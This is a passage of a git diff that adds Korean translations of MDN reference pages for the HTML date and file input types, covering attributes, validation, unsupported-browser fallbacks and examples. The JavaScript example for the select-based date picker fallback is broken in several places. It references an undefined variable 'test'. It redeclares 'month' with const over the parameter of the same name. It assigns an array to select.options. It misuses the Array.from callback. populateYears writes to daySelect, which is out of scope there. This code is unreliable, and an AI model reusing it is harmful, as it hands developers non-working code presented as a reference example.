+<p><strong>표시 값과 실제 <code>value</code>의 불일치</strong> — 입력 칸에 표시되는 값은 사용자 브라우저의 로케일에 기반한 서식을 따라가지만, <code>value</code>는 항상 <code>yyyy-mm-dd</code>의 서식을 사용합니다.</p>
+</div>
+
+<p>입력 요소의 날짜 값은 JavaScript의 {{domxref("HTMLInputElement.value", "value")}}와 {{domxref("HTMLInputElement.valueAsNumber", "valueAsNumber")}} 속성으로 설정할 수도 있습니다. 다음 예제 코드를 보세요.</p>
+
+<pre class="brush: js">var dateControl = document.querySelector('input[type="date"]');
+dateControl.value = '2017-06-01';
+console.log(dateControl.value); // prints "2017-06-01"
+console.log(dateControl.valueAsNumber); // prints 1496275200000, a UNIX timestamp</pre>
+
+<p>위의 코드는 <code>type</code>이 <code>date</code>인 첫 번째 {{HTMLElement("input")}} 요소를 찾아서, 값을 <code>2017-06-01</code>로 설정합니다. 그리고 값을 다시 문자열과 숫자 형태로 가져옵니다.</p>
+
+<h2 id="추가_특성">추가 특성</h2>
+
+<p>모든 {{htmlelement("input")}} 요소의 공용 특성 외에도, <code>date</code> 유형은 아래의 특성도 지원합니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">특성</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>{{anch("max")}}</code></td>
+ <td>허용하는 가장 늦은 날짜</td>
+ </tr>
+ <tr>
+ <td><code>{{anch("min")}}</code></td>
+ <td>허용하는 가장 이른 날짜</td>
+ </tr>
+ <tr>
+ <td><code>{{anch("step")}}</code></td>
+ <td>위/아래 조절 버튼을 눌렀을 때와, 날짜 유효성을 검증할 때 사용하는 스텝 간격.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefmax">{{htmlattrdef("max")}}</h3>
+
+<p>받을 수 있는 제일 나중 날짜. 입력받은 {{htmlattrxref("value", "input")}}가 <code>max</code>보다 더 나중이라면 유효성 검증에 실패합니다. <code>max</code>의 값이 <code>yyyy-mm-dd</code> 형식의 유효한 날짜 문자열이 아니면 최댓값을 지정하지 않은 것으로 간주합니다.</p>
+
+<p><code>max</code>와 <code>min</code> 특성을 모두 사용할 경우, <code>max</code>는 <code>min</code>과 <strong>동일하거나 이후</strong>인 날짜 문자열이어야 합니다.</p>
+
+<h3 id="htmlattrdefmin">{{htmlattrdef("min")}}</h3>
+
+<p>받을 수 있는 제일 이전 날짜. 입력받은 {{htmlattrxref("value", "input")}}가 <code>min</code>보다 더 이전이라면 유효성 검증에 실패합니다. <code>min</code>의 값이 <code>yyyy-mm-dd</code> 형식의 유효한 날짜 문자열이 아니면 최솟값을 지정하지 않은 것으로 간주합니다.</p>
+
+<p><code>max</code>와 <code>min</code> 특성을 모두 사용할 경우, <code>min</code>은 <code>max</code>와 <strong>동일하거나 이전</strong>인 날짜 문자열이어야 합니다.</p>
+
+<h3 id="htmlattrdefstep">{{htmlattrdef("step")}}</h3>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}</p>
+
+<p><code>date</code> 입력 칸의 <code>step</code> 값은 날짜 단위, 즉 밀리초 단위로 86,400,000 ✕ <code>step</code>로 처리합니다. 기본값은 1로, 하루를 나타냅니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>date</code> 입력 칸에서 <code>step</code>의 값으로 <code>any</code>를 지정하면 <code>1</code>과 같습니다.</p>
+</div>
+
+<h2 id="날짜_입력_칸_사용하기">날짜 입력 칸 사용하기</h2>
+
+<p>날짜 입력 칸은 꽤 편리하게 보입니다. 날짜를 선택할 수 있는 쉬운 인터페이스를 제공하고, 서버로 값을 전송할 땐 현재 사용자의 로케일과 관계 없이 정규화하니까요. 그러나, 지금은 제한적인 브라우저 지원으로 인한 문제가 존재합니다.</p>
+
+<p>이 구획에서는 <code>&lt;input type="date"&gt;</code>의 기본 사용법과 복잡한 사용법을 살펴볼 것이고, 뒤에서는 브라우저 지원 문제를 처리할 때 사용할 수 있는 조언을 드리겠습니다. ({{anch("미지원 브라우저 처리하기")}}로 가세요.)</p>
+
+<div class="blockIndicator note">
+<p>모든 브라우저에서 날짜 입력 칸을 지원하는 날이 오면 이 문제도 자연스럽게 사라질 것입니다.</p>
+</div>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p><code>&lt;input type="date"&gt;</code>의 가장 간단한 사용법은 아래 코드처럼 하나의 <code>&lt;input&gt;</code>과 그 {{htmlelement("label")}}로 이뤄집니다.</p>
+
+<pre class="brush: html">&lt;form action="https://example.com"&gt;
+ &lt;label&gt;
+ Enter your birthday:
+ &lt;input type="date" name="bday"&gt;
+ &lt;/label&gt;
+
+ &lt;p&gt;&lt;button&gt;Submit&lt;/button&gt;&lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('기본_예제', 600, 40)}}</p>
+
+<p>위의 HTML은 입력받은 날짜를 <code>bday</code>라는 키로 <code>https://example.com</code>에 제출합니다. 그래서, 최종 URL은 <code>https://example.com/?bday=1955-06-08</code>이 됩니다.</p>
+
+<h3 id="최대와_최소_날짜_설정">최대와 최소 날짜 설정</h3>
+
+<p>{{htmlattrxref("min", "input")}}과 {{htmlattrxref("max", "input")}} 특성을 사용하면 사용자가 선택할 수 있는 날짜를 제한할 수 있습니다. 다음 코드에서는 최소 날짜 <code>2017-04-01</code>, 최대 날짜 <code>2017-04-30</code>을 지정합니다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;label for="party"&gt;Choose your preferred party date:
+ &lt;input type="date" name="party" min="2017-04-01" max="2017-04-30"&gt;
+ &lt;/label&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('최대와_최소_날짜_설정', 600, 40)}}</p>
+
+<p>실행 결과에서 2017년 4월의 날짜만 선택 가능함을 볼 수 있습니다. 입력 칸의 연과 월은 편집이 불가능해지며, 날짜 선택 위젯에서도 2017년 4월 바깥의 날짜는 선택할 수 없습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 원래 {{htmlattrxref("step", "input")}} 특성을 사용해 날짜를 증감할 때 늘어날 일 수를 조절할 수 있어야 하고, 이를 이용해 토요일만 선택 가능하게 하는 등의 처리가 가능해야 합니다. 그러나 지금은 아무 브라우저에서도 구현하고 있지 않습니다.</p>
+</div>
+
+<h3 id="입력_칸_크기_조절">입력 칸 크기 조절</h3>
+
+<p><code>&lt;input type="date"&gt;</code>는 {{htmlattrxref("size", "input")}} 등의 크기 조절 특성을 지원하지 않습니다. <a href="/ko/docs/Web/CSS">CSS</a>를 사용하세요.</p>
+
+<h2 id="유효성_검사">유효성 검사</h2>
+
+<p><code>&lt;input type="date"&gt;</code>는 기본값에선 값의 형식 외에 다른 유효성 검사는 수행하지 않습니다. 보통 날짜 입력 칸의 인터페이스가 날짜 이외의 값을 처음부터 허용하지 않는 것이 유용하긴 하나, 아무 값을 입력하지 않을 수도 있고, 미지원 브라우저에서 텍스트 입력 칸으로 대체된 경우 4월 32일처럼 유효하지 않은 날짜도 입력할 수 있습니다.</p>
+
+<p>{{htmlattrxref("min", "input")}}과 {{htmlattrxref("max", "input")}}를 사용해 가능한 날짜 범위를 제한({{anch("최대와 최소 날짜 설정")}})한 경우, 지원하는 브라우저에서는 범위 밖의 값을 받았을 때 오류를 표시합니다. 그러나 브라우저가 온전히 지원하지 않을 수도 있기 때문에, 제출받은 값을 이중으로 검증하는 것이 필요합니다.</p>
+
+<p>{{htmlattrxref("required", "input")}} 특성을 사용해 값을 필수로 요구할 수도 있으며, 빈 입력 칸을 제출하려고 하면 오류를 표시합니다. required는 대부분의 브라우저에서, 텍스트 입력 칸으로 대체되더라도 지원하고 있습니다.</p>
+
+<p>최소/최대 날짜와 필수 검증 예제를 보겠습니다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;label&gt;
+ Choose your preferred party date (required, April 1st to 20th):
+ &lt;input type="date" name="party" min="2017-04-01" max="2017-04-20" required&gt;
+ &lt;span class="validity"&gt;&lt;/span&gt;
+ &lt;/label&gt;
+
+ &lt;p&gt;
+ &lt;button&gt;Submit&lt;/button&gt;
+ &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>날짜 입력 칸의 입력을 완전히 끝내지 않았거나, 범위 밖의 값으로 제출을 시도하면 브라우저가 오류를 표시하는 것을 확인할 수 있습니다. 아래 실행 결과에서 직접 해보세요.</p>
+
+<p>{{EmbedLiveSample('유효성_검사', 600, 100)}}</p>
+
+<p>지원하지 않는 브라우저를 사용하시는 경우엔 다음 스크린샷을 참고하세요.</p>
+
+<p><img alt="The input field has an overlaid speech balloon, with an orange exclamation mark icon and the message “Please fill in this field.”" src="https://mdn.mozillademos.org/files/14913/date-picker-chrome-error-message.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>다음은 위 코드에서 사용한 CSS로, {{cssxref(":valid")}}와 {{cssxref(":invalid")}} 의사 클래스를 사용해 입력한 값의 유효성 여부에 따라 다른 스타일을 적용하고 있습니다. 구체적으로는, 유효성에 따라 입력 칸의 옆에 배치한 {{htmlelement("span")}}에 아이콘을 추가합니다.</p>
+
+<pre class="brush: css">label {
+ display: flex;
+ align-items: center;
+}
+
+span::after {
+ padding-left: 5px;
+}
+
+input:invalid + span::after {
+ content: '✖';
+}
+
+input:valid+span::after {
+ content: '✓';
+}</pre>
+
+<div class="warning">
+<p><strong>중요</strong>: 클라이언트측 유효성 검사는 서버의 검사를 대체할 수 없습니다. HTML을 수정하는 것도 쉽지만, HTML을 완전히 우회하고 서버에 데이터를 직접 제출할 수도 있기 때문입니다. 서버가 받은 데이터의 검증을 하지 못하는 경우 잘못된 형식, 잘못된 유형, 너무 큰 데이터 등으로 인해 심각한 상황을 맞을 수도 있습니다.</p>
+</div>
+
+<h2 id="미지원_브라우저_처리하기">미지원 브라우저 처리하기</h2>
+
+<p>위에서 언급했듯, 현재 날짜 입력 칸의 큰 문제는 {{anch("브라우저 호환성", "브라우저 지원")}}입니다. 예를 하나 들자면, Firefox for Android의 날짜 입력기는 다음과 같은 모습입니다.</p>
+
+<p><img alt="A popup calendar picker modal floats above the web page and browser UI." src="https://mdn.mozillademos.org/files/14915/date-picker-fxa.png" style="display: block; margin: 0 auto;"></p>
+
+<p>지원하지 않는 브라우저에서는 단순한 텍스트 입력 칸으로 우아하게 저하되긴 하지만, 이는 (보여지는 컨트롤이 다르므로) 사용자 인터페이스와 데이터 처리가 일관적이지 못하다는 문제를 만듭니다.</p>
+
+<p>두 문제 중 데이터 처리가 더 심각합니다. 날짜 입력 칸을 지원하는 브라우저에서는 값을 <code>yyyy-mm-dd</code>의 형식으로 정규화합니다. 그러나 텍스트 입력만으로는 값의 형식을 브라우저가 알 수 없으며, 사람들은 다양한 형태로 날짜를 입력합니다. 다음은 그 일부입니다.</p>
+
+<ul>
+ <li><code>yymmdd</code></li>
+ <li><code>yyyymmdd</code></li>
+ <li><code>yyyy/mm/dd</code></li>
+ <li><code>yyyy-mm-dd</code></li>
+ <li><code>dd/mm/yyyy</code></li>
+ <li><code>mm-dd-yyyy</code></li>
+</ul>
+
+<p>해결하는 방법 중 하나는 날짜 입력 칸에 {{htmlattrxref("pattern", "input")}} 특성을 사용하는 것입니다. 날짜 입력 칸은 사용하지 않는 특성이지만 텍스트 입력 칸으로 대체된 경우에는 사용하기 때문인데, 미지원 브라우저에서 다음 코드를 확인해보세요.</p>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;label for="bday"&gt;Enter your birthday:
+ &lt;input type="date" name="bday" required pattern="\d{4}-\d{2}-\d{2}"&gt;
+ &lt;span class="validity"&gt;&lt;/span&gt;
+ &lt;/label&gt;
+ &lt;p&gt;
+ &lt;button&gt;Submit&lt;/button&gt;
+ &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('미지원_브라우저_처리하기', 600, 100)}}</p>
+
+<p>입력한 값을 패턴 <code>####-##-##</code> (<code>#</code>은 0에서 9까지의 숫자)에 맞추지 않고 제출해보면 브라우저가 날짜 입력 칸을 강조하며 오류를 표시함을 볼 수 있습니다. 물론 아직도 사람들이 유효하지 않은 날짜나 잘못된 형태로 입력하는 것은 막을 수 없으므로, 문제를 해결한 것은 아닙니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">span {
+ position: relative;
+}
+
+span::after {
+ right: -18px;
+ position: absolute;
+}
+
+input:invalid + span::after {
+ content: '✖';
+}
+
+input:valid + span::after {
+ content: '✓';
+}</pre>
+</div>
+
+<p>그러므로 지금으로서는, 크로스 브라우저 날짜 처리를 지원하기 위한 가장 좋은 방법은 각각 다른 입력 칸에 연, 월, 일을 입력하도록 하는 방법과, 외부 JavaScript 라이브러리를 사용하는 편이 최선입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>이번 예제에서는 날짜를 선택할 수 있는 사용자 인터페이스 두 개를 만들어보겠습니다. 첫 번째는 네이티브 <code>&lt;input type="date"&gt;</code> 입력 칸을 사용한 것이고, 두 번째는 네이티브 입력 칸을 지원하지 않는 구형 브라우저에서 사용할 수 있도록 세 개의 {{htmlelement("select")}} 요소를 이용한 것입니다.</p>
+
+<p>{{EmbedLiveSample('예제', 600, 100)}}</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML은 다음과 같습니다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;label class="nativeDatePicker"&gt;Enter your birthday:
+ &lt;input type="date" name="bday"&gt;
+ &lt;span class="validity"&gt;&lt;/span&gt;
+ &lt;/label&gt;
+
+ &lt;fieldset class="fallbackDatePicker" hidden&gt;
+ &lt;legend class="fallbackLabel"&gt;Enter your birthday:&lt;/legend&gt;
+
+ &lt;label&gt;
+ Day:
+ &lt;select name="day"&gt;&lt;/select&gt;
+ &lt;/label&gt;
+
+ &lt;label&gt;
+ Month:
+ &lt;select name="month"&gt;
+ &lt;option&gt;January&lt;/option&gt;
+ &lt;option&gt;February&lt;/option&gt;
+ &lt;option&gt;March&lt;/option&gt;
+ &lt;option&gt;April&lt;/option&gt;
+ &lt;option&gt;May&lt;/option&gt;
+ &lt;option&gt;June&lt;/option&gt;
+ &lt;option&gt;July&lt;/option&gt;
+ &lt;option&gt;August&lt;/option&gt;
+ &lt;option&gt;September&lt;/option&gt;
+ &lt;option&gt;October&lt;/option&gt;
+ &lt;option&gt;November&lt;/option&gt;
+ &lt;option&gt;December&lt;/option&gt;
+ &lt;/select&gt;
+ &lt;/label&gt;
+
+ &lt;label&gt;
+ Year:
+ &lt;select name="year"&gt;&lt;/select&gt;
+ &lt;/label&gt;
+ &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>월은 변하지 않으므로 하드코딩합니다. 일과 연은 현재 선택 값에 따라 동적으로 생성하도록 비워놓습니다. (자세한 설명은 아래의 코드 주석을 참고하세요.)</p>
+
+<div class="hidden">
+<pre class="brush: css">span {
+ padding-left: 5px;
+}
+
+input:invalid + span::after {
+ content: '✖';
+}
+
+input:valid + span::after {
+ content: '✓';
+}</pre>
+</div>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>코드에서 관심을 가질만한 곳은 브라우저의 <code>&lt;input type="date"&gt;</code> 지원 여부를 알아내기 위한 기능 탐지 부분입니다.</p>
+
+<p>우선 새로운 {{htmlelement("input")}} 요소를 만들고, <code>type</code>을 <code>date</code>로 설정해봅니다. 그리고 즉시 <code>&lt;input&gt;</code>의 유형을 검사하는데, 지원하지 않는 브라우저에서 <code>date</code>는 <code>text</code>로 대체되므로 <code>text</code>를 반환합니다. <code>&lt;input type="date"&gt;</code>을 지원하지 않는다는 사실을 알아냈으면 네이티브 입력 칸을 숨기고, 대체 요소({{htmlelement("select")}})를 대신 노출합니다.</p>
+
+<pre class="brush: js">// define variables
+var nativePicker = document.querySelector('.nativeDatePicker');
+var fallbackPicker = document.querySelector('.fallbackDatePicker');
+
+var yearSelect = document.querySelector('[name=year]');
+var monthSelect = document.querySelector('[name=month]');
+
+// Test whether a new date input falls back to a text input
+var testElement = document.createElement('input');
+
+try {
+  test.type = 'date';
+} catch (e) {
+  console.log(e.description);
+}
+
+// If it does, run the code inside the if () {} block
+if (testElement.type === 'text') {
+ // hide the native picker and show the fallback
+ nativePicker.hidden = true;
+ fallbackPicker.hidden = false;
+
+ // populate the days and years dynamically
+ // (the months are always the same, therefore hardcoded)
+ populateDays(monthSelect.value);
+ populateYears();
+}
+
+function populateDays(month) {
+ const daySelect = document.querySelector('[name=day]');
+ const month = monthSelect.value;
+
+ // Create variable to hold new number of days to inject
+ let dayNum;
+
+ // 31 or 30 days?
+ switch (month) {
+ case 'April': case 'June': case 'September': case 'November':
+ dayNum = 30;
+ break;
+ case 'February':
+ // If month is February, calculate whether it is a leap year or not
+ const year = yearSelect.value;
+ const isLeap = new Date(year, 1, 29).getMonth() === 1;
+ dayNum = isLeap ? 29 : 28;
+ break;
+ default:
+ dayNum = 31;
+ }
+
+ // inject the right number of new &lt;option&gt;s into the &lt;select&gt;
+ daySelect.options = Array.from({ length: dayNum }, function(index) {
+ return index + 1;
+ });
+
+ // if previous day has already been set, set daySelect's value
+ // to that day, to avoid the day jumping back to 1 when you
+ // change the year
+ if (previousDay) {
+ daySelect.value = previousDay;
+
+ // If the previous day was set to a high number, say 31, and then
+ // you chose a month with fewer days in it (like February),
+ // this code ensures that the highest day available
+ // is selected, rather than showing a blank daySelect
+ if (previousDay &gt; daySelect.length + 1) {
+ daySelect.selectedIndex = daySelect.length;
+ }
+ }
+}
+
+function populateYears() {
+ // get this year as a number
+ var year = (new Date()).getFullYear();
+
+ // Make this year and the 100 years before it available in the &lt;select&gt;
+ daySelect.options = Array.from({ length: 100 }, function(index) {
+ return index + year;
+ });
+}
+
+// when the month or year &lt;select&gt; values are changed, rerun populateDays()
+// in case the change affected the number of available days
+yearSelect.onchange = populateDays;
+monthSelect.onchange = populateDays;
+
+// preserve day selection
+var previousDay;
+
+// update what day has been set to previously
+// see end of populateDays() for usage
+daySelect.onchange = function() {
+ previousDay = daySelect.value;
+}</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 어떤 연도는 53주임을 기억하세요! (<a href="https://en.wikipedia.org/wiki/ISO_week_date#Weeks_per_year">Wikipedia</a>) 프로덕션 애플리케이션을 개발할 땐 고려해야 할 사항입니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comments</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#date-state-(type=date)', '&lt;input type="date"&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'forms.html#date-state-(type=date)', '&lt;input type="date"&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.input.input-date")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>일반 {{HTMLElement("input")}} 요소와, 그 인터페이스인 {{domxref("HTMLInputElement")}}.</li>
+</ul>
diff --git a/files/ko/web/html/element/input/file/index.html b/files/ko/web/html/element/input/file/index.html
new file mode 100644
index 0000000000..a58f988d17
--- /dev/null
+++ b/files/ko/web/html/element/input/file/index.html
@@ -0,0 +1,509 @@
+---
+title: <input type="file">
+slug: Web/HTML/Element/Input/file
+tags:
+ - HTML
+ - HTML forms
+ - Input Type
+ - Reference
+ - 파일
+translation_of: Web/HTML/Element/input/file
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong><code>file</code></strong> 유형의 {{htmlelement("input")}} 요소에는 저장 장치의 파일을 하나 혹은 여러 개 선택할 수 있습니다. 그 후, <a href="/ko/docs/Learn/HTML/Forms">양식을 제출</a>해 서버로 전송하거나, <a href="/ko/docs/Web/API/File/Using_files_from_web_applications">File API</a>를 사용한 JavaScript 코드로 조작할 수 있습니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-file.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <td><strong>{{anch("값")}}</strong></td>
+ <td>선택한 파일의 경로를 나타내는 {{domxref("DOMString")}}.</td>
+ </tr>
+ <tr>
+ <td><strong>이벤트</strong></td>
+ <td>{{domxref("HTMLElement/change_event", "change")}}, {{domxref("HTMLElement/input_event", "input")}}</td>
+ </tr>
+ <tr>
+ <td>
+ <p><strong>지원하는 공통 특성</strong></p>
+ </td>
+ <td>{{htmlattrxref("required", "input")}}</td>
+ </tr>
+ <tr>
+ <td><strong>추가 특성</strong></td>
+ <td>{{htmlattrxref("accept", "input/file")}}, {{htmlattrxref("capture", "input/file")}}, {{htmlattrxref("files", "input/file")}}, {{htmlattrxref("multiple", "input/file")}}</td>
+ </tr>
+ <tr>
+ <td><strong>IDL 특성</strong></td>
+ <td><code>files</code>, <code>value</code></td>
+ </tr>
+ <tr>
+ <td><strong>DOM 인터페이스</strong></td>
+ <td>{{domxref("HTMLInputElement")}}</td>
+ </tr>
+ <tr>
+ <td><strong>메서드</strong></td>
+ <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="값">값</h2>
+
+<p>파일 입력 칸의 {{htmlattrxref("value", "input")}} 특성은 선택한 파일의 경로를 나타내는 {{domxref("DOMString")}}을 담습니다. 사용자가 여러 개의 파일을 선택한 경우 <code>value</code>는 파일 목록의 첫 번째 파일을 가리키며, 나머지 파일은 요소의 {{domxref("HTMLInputElement.files")}} 속성으로 가져올 수 있습니다.</p>
+
+<div class="note"><strong>참고:</strong>
+
+<ol>
+ <li>아직 아무런 파일도 선택하지 않은 경우 빈 문자열(<code>""</code>)을 사용합니다.</li>
+ <li>악의적인 소프트웨어가 사용자의 파일 구조를 알아내는 것을 방지하기 위해, 값 문자열은 항상 <a href="https://html.spec.whatwg.org/multipage/input.html#fakepath-srsly">C:\fakepath\를 앞에 포함</a>합니다.</li>
+</ol>
+</div>
+
+<h2 id="추가_특성">추가 특성</h2>
+
+<p>모든 {{htmlelement("input")}} 요소의 공용 특성 외에도, <code>file</code> 유형은 아래의 특성도 지원합니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">특성</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>{{anch("accept")}}</code></td>
+ <td>허용하는 파일 유형을 나타내는 하나 이상의 {{anch("고유 파일 유형 지정자")}}</td>
+ </tr>
+ <tr>
+ <td><code>{{anch("capture")}}</code></td>
+ <td>이미지 또는 비디오 데이터를 캡처할 때 사용할 방법</td>
+ </tr>
+ <tr>
+ <td><code>{{anch("files")}}</code></td>
+ <td>선택한 파일을 나열하는 {{domxref("FileList")}}</td>
+ </tr>
+ <tr>
+ <td><code>{{anch("multiple")}}</code></td>
+ <td>지정할 경우 사용자가 여러 개의 파일을 선택할 수 있음</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefaccept">{{htmlattrdef("accept")}}</h3>
+
+<p><a href="/ko/docs/Web/HTML/Attributes/accept"><code>accept</code></a> 특성은 파일 입력 칸이 허용할 파일 유형을 나타내는 문자열로, 쉼표로 구분한 <strong>{{anch("고유 파일 유형 지정자")}}</strong>의 목록입니다. 주어진 파일 유형의 식별 방법이 여러 가지일 수도 있으므로, 특정 파일 형식이 필요할 땐 유형의 집합을 제공하는 것이 좋습니다.</p>
+
+<p>예를 들어, Microsoft Word 파일을 식별하는 방법은 여러가지이므로, Word 파일을 허용하는 <code>&lt;input&gt;</code>은 다음과 같은 형태를 갖게 됩니다.</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="docpicker"
+ accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"&gt;</pre>
+
+<h3 id="htmlattrdefcapture">{{htmlattrdef("capture")}}</h3>
+
+<p><a href="/ko/docs/Web/HTML/Attributes/accept"><code>accept</code></a> 특성이 이미지나 비디오 캡처 데이터를 요구할 경우, <a href="/ko/docs/Web/HTML/Attributes/capture"><code>capture</code></a> 특성으로는 어떤 카메라를 사용할지 지정할 수 있습니다. <code>user</code> 값은 전면 카메라(사용자를 향한 카메라)와 마이크를, <code>environment</code> 값은 후면 카메라와 마이크를 사용해야 함을 나타냅니다. <code>capture</code> 특성을 누락한 경우 {{Glossary("user agent", "사용자 에이전트")}}가 어떤 쪽을 선택할지 스스로 결정합니다. 요청한 방향의 카메라를 사용할 수 없는 경우 사용자 에이전트는 자신이 선호하는 기본 모드로 대체할 수 있습니다.</p>
+
+<div class="note"><strong>참고:</strong> <code>capture</code>는 과거 불리언 특성이었으며, 존재할 경우 파일 선택 창을 요청하는 대신 장치의 카메라나 마이크 등 미디어 캡처 장치를 요청했었습니다.</div>
+
+<h3 id="htmlattrdeffiles">{{htmlattrdef("files")}}</h3>
+
+<p>선택한 모든 파일을 나열하는 {{domxref("FileList")}} 객체입니다. {{htmlattrxref("multiple", "input/file")}} 특성을 지정하지 않았다면 두 개 이상의 파일을 포함하지 않습니다.</p>
+
+<h3 id="htmlattrdefmultiple">{{htmlattrdef("multiple")}}</h3>
+
+<p><a href="/ko/docs/Web/HTML/Attributes/multiple"><code>multiple</code></a> 불리언 특성을 지정한 경우 사용자가 파일 선택 창에서 복수의 파일을 선택할 수 있습니다.</p>
+
+<h2 id="비표준_특성">비표준 특성</h2>
+
+<p>위의 표준 특성 외에도, 다음과 같이 일부 브라우저에서만 사용할 수 있는 비표준 특성도 존재합니다. 지원하지 않는 브라우저에서의 코드 동작에 제약이 생길 수 있으므로, 가능하면 사용을 피해야 합니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">특성</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>{{anch("webkitdirectory")}}</code></td>
+ <td>사용자가 디렉토리를 선택할 수 있는지 나타내는 불리언 특성. <code>{{anch("multiple")}}</code> 특성을 지정한 경우 복수 선택 가능</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefwebkitdirectory_non-standard_inline">{{htmlattrdef("webkitdirectory")}} {{non-standard_inline}}</h3>
+
+<p><code>webkitdirectory</code> 불리언 특성이 존재할 경우 사용자의 파일 선택 창에서 디렉토리만 선택 가능해야 함을 나타냅니다. {{domxref("HTMLInputElement.webkitdirectory")}} 문서를 방문해 보다 자세한 정보와 예제를 알아보세요.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>webkitdirectory</code>는 원래 WebKit 기반 브라우저에서만 구현했었으나, Microsoft Edge와 Firefox(50 이상)도 지원합니다. 그러나, 비록 상대적으로 널리 지원하고는 있으나, 여전히 비표준 특성이므로 대안이 없는 경우에만 사용해야 합니다.</p>
+</div>
+
+<h2 id="고유_파일_유형_지정자">고유 파일 유형 지정자</h2>
+
+<p><strong>고유 파일 유형 지정자</strong>는 <code>file</code> 유형의 {{htmlelement("input")}}에서 선택할 수 있는 파일의 종류를 설명하는 문자열입니다. 각각의 유형 지정자는 다음 형태 중 하나를 취할 수 있습니다.</p>
+
+<ul>
+ <li>마침표로 시작하는 유효한 파일 이름 확장자. 대소문자를 구분하지 않습니다. 예시: <code>.jpg</code>, <code>.pdf</code>, <code>.doc</code>.</li>
+ <li>확장자를 포함하지 않은 유효한 MIME 유형 문자열.</li>
+ <li><code>audio/*</code>는 "모든 오디오 파일"을 의미합니다.</li>
+ <li><code>video/*</code>는 "모든 비디오 파일"을 의미합니다.</li>
+ <li><code>image/*</code>는 "모든 이미지 파일"을 의미합니다.</li>
+</ul>
+
+<p><code>accept</code> 특성이 고유 파일 유형 지정자를 값으로 받습니다. 쉼표로 구분하면 여러 개의 지정자도 사용할 수 있습니다. 예를 들어, 표준 이미지 형식 뿐만 아니라 PDF 파일도 받을 수 있어야 하는 입력 칸은 다음 코드처럼 작성할 수 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" accept="image/*,.pdf"&gt;</pre>
+
+<h2 id="파일_입력_칸_사용하기">파일 입력 칸 사용하기</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<pre class="brush: html notranslate">&lt;form method="post" enctype="multipart/form-data"&gt;
+ &lt;div&gt;
+ &lt;label for="file"&gt;Choose file to upload&lt;/label&gt;
+ &lt;input type="file" id="file" name="file" multiple&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;button&gt;Submit&lt;/button&gt;
+ &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+ margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample('기본_예제', 650, 60)}}</p>
+
+<div class="note">
